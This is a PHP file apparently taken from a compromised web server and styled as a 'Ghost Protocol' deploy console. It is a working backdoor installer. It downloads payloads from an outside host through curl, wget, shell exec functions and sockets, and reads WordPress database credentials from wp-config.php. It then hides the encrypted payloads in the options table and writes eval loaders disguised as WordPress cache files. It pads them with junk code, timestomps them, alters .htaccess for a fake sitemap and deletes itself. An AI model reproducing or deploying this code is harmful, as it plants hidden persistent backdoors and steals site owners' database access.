File: //home/handcraf/demobet.com/inc.php
<?php
// ==========================================
// SYSTEM BOOTSTRAP (ANTI-STUCK)
// ==========================================
// Memaksa output keluar ke layar seketika
if (function_exists('ob_end_clean')) { @ob_end_clean(); }
if (function_exists('ob_start')) { ob_start(); }
if (function_exists('ob_implicit_flush')) { ob_implicit_flush(1); }
@ini_set('zlib.output_compression', 0);
// GENERATOR STRING ACAK
function _rnd($len = 6) { return substr(str_shuffle("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $len); }
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ghost Protocol V24</title>
<style>
/* UI V17 (GHOST PROTOCOL) RESTORED */
:root {
--bg: #000;
--window: rgba(15, 15, 15, 0.98);
--text: #ddd;
--green: #32d74b; --red: #ff453a; --yellow: #ffd60a; --blue: #0a84ff;
--font: 'Menlo', 'Monaco', 'Consolas', monospace;
}
body {
background: var(--bg); color: var(--text); font-family: -apple-system, sans-serif;
margin: 0; padding: 20px; display: flex; justify-content: center; align-items: center; min-height: 100vh;
}
.window {
width: 100%; max-width: 850px; background: var(--window); border-radius: 8px;
box-shadow: 0 0 50px rgba(0,255,0,0.05); border: 1px solid #333; overflow: hidden;
}
.bar {
height: 30px; background: #1a1a1a; border-bottom: 1px solid #333; display: flex; align-items: center; padding: 0 10px;
}
.dots { display: flex; gap: 6px; }
.dot { width: 10px; height: 10px; border-radius: 50%; }
.dot.r { background: #ff5f57; } .dot.y { background: #febc2e; } .dot.g { background: #28c840; }
.term {
padding: 15px; font-family: var(--font); font-size: 11px; line-height: 1.5; color: #ccc; height: 500px; overflow-y: auto;
}
.line { margin-bottom: 4px; display: flex; flex-wrap: wrap; }
.p { color: var(--green); margin-right: 10px; font-weight: bold; }
.ok { color: var(--green); } .err { color: var(--red); } .inf { color: var(--blue); } .warn { color: var(--yellow); }
.btn {
display: inline-block; margin: 5px 0; background: #222; border: 1px solid #444; color: #fff;
padding: 4px 10px; border-radius: 3px; text-decoration: none; font-size: 10px; transition: 0.2s;
}
.btn:hover { border-color: var(--green); color: var(--green); }
</style>
</head>
<body>
<div class="window">
<div class="bar">
<div class="dots"><div class="dot r"></div><div class="dot y"></div><div class="dot g"></div></div>
</div>
<div class="term" id="console">
<div class="line"><span class="p">➜</span> <span>./deploy_v24_stable.sh --force-db-all</span></div>
<br>
<?php
// ==========================================
// 1. CONFIGURATION
// ==========================================
@ini_set('memory_limit', '512M');
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@ignore_user_abort(1);
error_reporting(E_ERROR | E_PARSE);
$targets = [
['https://stepmomhub.com/seoo.txt', 'error_log.php', 'transient_sys_pma_check'],
['https://stepmomhub.com/vx.txt', 'vx.php', 'transient_sys_cache_vx'],
['https://stepmomhub.com/index.txt', 'index.php', 'transient_sys_idx_core']
];
// LOGGER (Real-time Flush)
function _log($msg, $class='inf') {
$ts = date("H:i:s");
echo "<div class='line'><span style='color:#555;margin-right:5px;'>[$ts]</span><span class='$class'>$msg</span></div>";
echo "<script>var t=document.getElementById('console');t.scrollTop=t.scrollHeight;</script>";
if(ob_get_level()>0){ ob_flush(); flush(); }
}
// XOR ENCRYPTION
function _xor($d, $k) {
$out = ''; $len = strlen($d); $key_len = strlen($k);
for($i = 0; $i < $len; $i++) { $out .= $d[$i] ^ $k[$i % $key_len]; }
return $out;
}
// PERMISSION & TIMESTOMP
function _prepare_write($file) {
if (file_exists($file)) {
@chmod($file, 0644);
if (!is_writable($file)) { @unlink($file); }
}
return true;
}
function _timestomp($f) {
$r=__DIR__.'/wp-settings.php'; if(!file_exists($r))$r=__DIR__.'/index.php';
if(file_exists($r) && file_exists($f)) { @touch($f, filemtime($r)); @chmod($f, 0444); }
}
// JUNK CODE GENERATOR (Code Dilution)
function _junk() {
$j="";
for($i=0;$i<50;$i++){
$v=_rnd(rand(5,10));
$val=md5(rand());
$j.=" public \$$v = '$val';\n";
}
return $j;
}
// ==========================================
// 2. WP DETECTION
// ==========================================
function _find_wp_config() {
$d = __DIR__;
for ($i = 0; $i < 6; $i++) { if (file_exists($d . '/wp-config.php')) return $d . '/wp-config.php'; $d = dirname($d); }
return false;
}
function _parse_wp_config($path) {
if(function_exists('file_get_contents')){$c=@file_get_contents($path);}
elseif(function_exists('file')){$l=@file($path);$c=implode('',$l);}
else return false;
if(!$c) return false;
function _v($k,$s){ if(preg_match('/define\s*\(\s*[\'"]'.$k.'[\'"]\s*,\s*[\'"](.*?)[\'"]\s*\);/i',$s,$m))return $m[1]; return ''; }
$conf=[]; $conf['n']=_v('DB_NAME',$c); $conf['u']=_v('DB_USER',$c); $conf['p']=_v('DB_PASSWORD',$c); $conf['h']=_v('DB_HOST',$c);
$conf['x']='wp_'; if(preg_match('/\$table_prefix\s*=\s*[\'"](.*?)[\'"];/i',$c,$m)) $conf['x']=$m[1];
if($conf['n']) return $conf;
return false;
}
function _inject_htaccess_xml_map() {
$htaccess = __DIR__ . '/.htaccess';
$rule = "\n# SITEMAP INDEX\n<Files \"sxallsitemap.xml\">\nOrder allow,deny\nAllow from all\n</Files>\nRewriteEngine On\nRewriteRule ^sxallsitemap\.xml$ index.php [L]\n";
$c = ""; if(file_exists($htaccess)) $c = @file_get_contents($htaccess);
if(strpos($c, 'sxallsitemap.xml') === false) { @file_put_contents($htaccess, $rule . $c); return true; }
return false;
}
$wp_conf_path = _find_wp_config();
$wp_creds = ($wp_conf_path) ? _parse_wp_config($wp_conf_path) : false;
$is_wordpress = ($wp_creds !== false);
if($is_wordpress) _log("Target System: WordPress (All Files -> DB Injection)", "ok");
else _log("Target System: Generic (File Storage Mode)", "warn");
// ==========================================
// 3. GOD MODE DOWNLOADER (V22 RESTORED & OPTIMIZED)
// ==========================================
function _dl($u) {
$ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36';
$tmp=sys_get_temp_dir().'/sess_'.md5(uniqid());
// 1. PHP CURL (Timeout Added)
if(function_exists('curl_init')){
$c=curl_init($u);
curl_setopt_array($c,[
CURLOPT_RETURNTRANSFER=>1, CURLOPT_FOLLOWLOCATION=>1, CURLOPT_SSL_VERIFYPEER=>0,
CURLOPT_USERAGENT=>$ua, CURLOPT_TIMEOUT=>30, CURLOPT_CONNECTTIMEOUT=>15, // Timeout penting agar tidak stuck
CURLOPT_IPRESOLVE=>CURL_IPRESOLVE_V4
]);
$d=@curl_exec($c); curl_close($c);
if($d && strlen($d) > 5) return $d;
}
// 2. FGC (Timeout Added)
if(ini_get('allow_url_fopen')){
$ctx = stream_context_create(['http'=>['method'=>'GET','header'=>"User-Agent: $ua\r\n",'timeout'=>30]]);
$d=@file_get_contents($u,false,$ctx);
if($d && strlen($d) > 5) return $d;
}
// 3. Copy (Tmp Buffer)
if(ini_get('allow_url_fopen')){
if(@copy($u,$tmp)){ $d=@file_get_contents($tmp); @unlink($tmp); if($d && strlen($d) > 5) return $d; }
}
// 4. CLI (6 Layers)
$cmds = [
"wget -qO- --no-check-certificate --timeout=30 --user-agent='$ua' " . escapeshellarg($u),
"curl -sL -k --connect-timeout 15 --max-time 30 --user-agent '$ua' " . escapeshellarg($u),
"lynx -source " . escapeshellarg($u)
];
foreach($cmds as $c){
if(function_exists('exec')) { $o=[]; @exec($c,$o); $d=implode("\n",$o); if(strlen($d)>10) return $d; }
if(function_exists('shell_exec')) { $d=@shell_exec($c); if(strlen($d)>10) return $d; }
if(function_exists('passthru')) { ob_start(); @passthru($c); $d=ob_get_clean(); if(strlen($d)>10) return $d; }
if(function_exists('system')) { ob_start(); @system($c); $d=ob_get_clean(); if(strlen($d)>10) return $d; }
if(function_exists('popen')) { $h=@popen($c,'r'); if($h){ $d=@stream_get_contents($h); pclose($h); if(strlen($d)>10) return $d; } }
}
// 5. Socket
$p = parse_url($u); $host=$p['host']; $path=isset($p['path'])?$p['path']:'/'; $port=($p['scheme']=='https')?443:80; $ssl=($p['scheme']=='https')?'ssl://':'';
$fp = @fsockopen($ssl.$host, $port, $err, $errs, 15); // Timeout 15s
if($fp){
fwrite($fp, "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua\r\nConnection: Close\r\n\r\n");
$body=''; $head=true;
while(!feof($fp)){ $l=fgets($fp,4096); if($head && ($l=="\r\n"||$l=="\n")){$head=false;continue;} if(!$head)$body.=$l; }
fclose($fp); if(strlen($body)>10) return $body;
}
return false;
}
function _dl_retry($u) { $d=_dl($u); if($d)return $d; return _dl(str_replace('https','http',$u)); }
// ==========================================
// 4. MAIN PROCESS
// ==========================================
foreach ($targets as $t) {
$url=$t[0]; $fname=$t[1]; $dbkey=$t[2];
if (!$is_wordpress && $fname !== 'error_log.php') continue;
_log("Fetching $fname...", "inf");
$raw = _dl_retry($url);
if(!$raw || strlen($raw) < 10) { _log("Download FAILED: $fname (Check Connectivity)", "err"); continue; }
// ENCRYPTION
$xor_key = _rnd(8);
$enc = bin2hex(_xor(gzdeflate($raw, 9), $xor_key));
$junk_props = _junk();
$cls_name = 'WP_Sys_'.ucfirst(str_replace('.php','',$fname)).'_' . _rnd(3);
_prepare_write($fname);
$ok = false;
// --- WORDPRESS LOGIC (UNIVERSAL DB) ---
// SEMUA File (termasuk error_log.php) masuk DB
if ($is_wordpress) {
$m = new mysqli($wp_creds['h'], $wp_creds['u'], $wp_creds['p'], $wp_creds['n']);
if(!$m->connect_error) {
$tbl = $wp_creds['x'] . 'options';
$m->query("DELETE FROM $tbl WHERE option_name='$dbkey'");
$stmt = $m->prepare("INSERT INTO $tbl (option_name, option_value, autoload) VALUES (?, ?, 'no')");
$stmt->bind_param("ss", $dbkey, $enc);
if($stmt->execute()) {
// LOADER DB (STEALTH + GLOBAL SCOPE)
$loader = <<<PHP
<?php
/**
* WordPress Object Cache & Transient API
* @package WordPress
* @subpackage Cache
* @version 6.5.0
*/
error_reporting(0);
if(!class_exists('$cls_name')) {
class $cls_name {
$junk_props
private \$k = '$xor_key';
public function run(\$h,\$u,\$p,\$n,\$x,\$kdb) {
\$c = new mysqli(\$h,\$u,\$p,\$n);
if(\$c->connect_error) return false;
\$t = \$x.'options';
\$q = "SELECT option_value FROM {\$t} WHERE option_name = '{\$kdb}' LIMIT 1";
\$r = \$c->query(\$q);
if(\$r && \$row = \$r->fetch_assoc()) {
return \$this->dec(\$row['option_value']);
}
return false;
}
private function dec(\$h) {
\$b = @hex2bin(\$h);
\$o = ''; \$l = strlen(\$b); \$kl = strlen(\$this->k);
for(\$i=0; \$i<\$l; \$i++) \$o .= \$b[\$i] ^ \$this->k[\$i % \$kl];
return @gzinflate(\$o);
}
}
}
\$app = new $cls_name();
\$code = \$app->run('{$wp_creds['h']}', '{$wp_creds['u']}', '{$wp_creds['p']}', '{$wp_creds['n']}', '{$wp_creds['x']}', '$dbkey');
if(\$code) {
eval('?>' . \$code);
}
?>
PHP;
if(file_put_contents($fname, $loader)){
$ok = true;
_log("Stored in DB: $fname", "ok");
_timestomp($fname);
if($fname == 'index.php') {
if(_inject_htaccess_xml_map()) _log(".htaccess XML Map Applied", "inf");
}
} else {
_log("Write Error: $fname", "err");
}
} else {
_log("DB Error: $fname Insert Failed", "err");
}
} else {
_log("DB Connection Failed", "err");
}
}
// --- NON-WP ---
else {
$store = '.sys_' . substr(md5(rand()), 0, 8) . '.inc';
if(file_put_contents($store, $enc)) {
$loader = <<<PHP
<?php
/**
* System Configuration Loader
* @package Core
*/
error_reporting(0);
if(!class_exists('$cls_name')) {
class $cls_name {
$junk_props
private \$p; private \$k='$xor_key';
public function __construct(\$f) { \$this->p = __DIR__.'/'.\$f; }
public function load() {
if(!file_exists(\$this->p)) return false;
\$h = \$this->r();
if(\$h) {
\$b = @hex2bin(\$h); \$o=''; \$l=strlen(\$b); \$kl=strlen(\$this->k);
for(\$i=0;\$i<\$l;\$i++) \$o.=\$b[\$i]^\$this->k[\$i%\$kl];
return @gzinflate(\$o);
}
return false;
}
private function r() {
\$p=\$this->p;
if(function_exists('file_get_contents')) return @file_get_contents(\$p);
return false;
}
}
}
\$app = new $cls_name('$store');
\$code = \$app->load();
if(\$code) eval('?>'.\$code);
?>
PHP;
if(file_put_contents($fname, $loader)){
$ok = true;
_log("File Storage: $fname", "ok");
_timestomp($fname);
}
}
}
$final_url = $fname;
if ($fname == 'index.php' && $is_wordpress) $final_url = 'sxallsitemap.xml';
if($install_ok = $ok) {
echo "<div class='line'><a href='$final_url' target='_blank' class='btn'>OPEN ".strtoupper($fname)."</a></div>";
}
}
unlink(__FILE__);
if(ob_get_level()>0){ ob_end_flush(); }
?>
<div class="line"><span class="p">➜</span> <span>rm setup.php</span></div>
</div>
</div>
</body>
</html>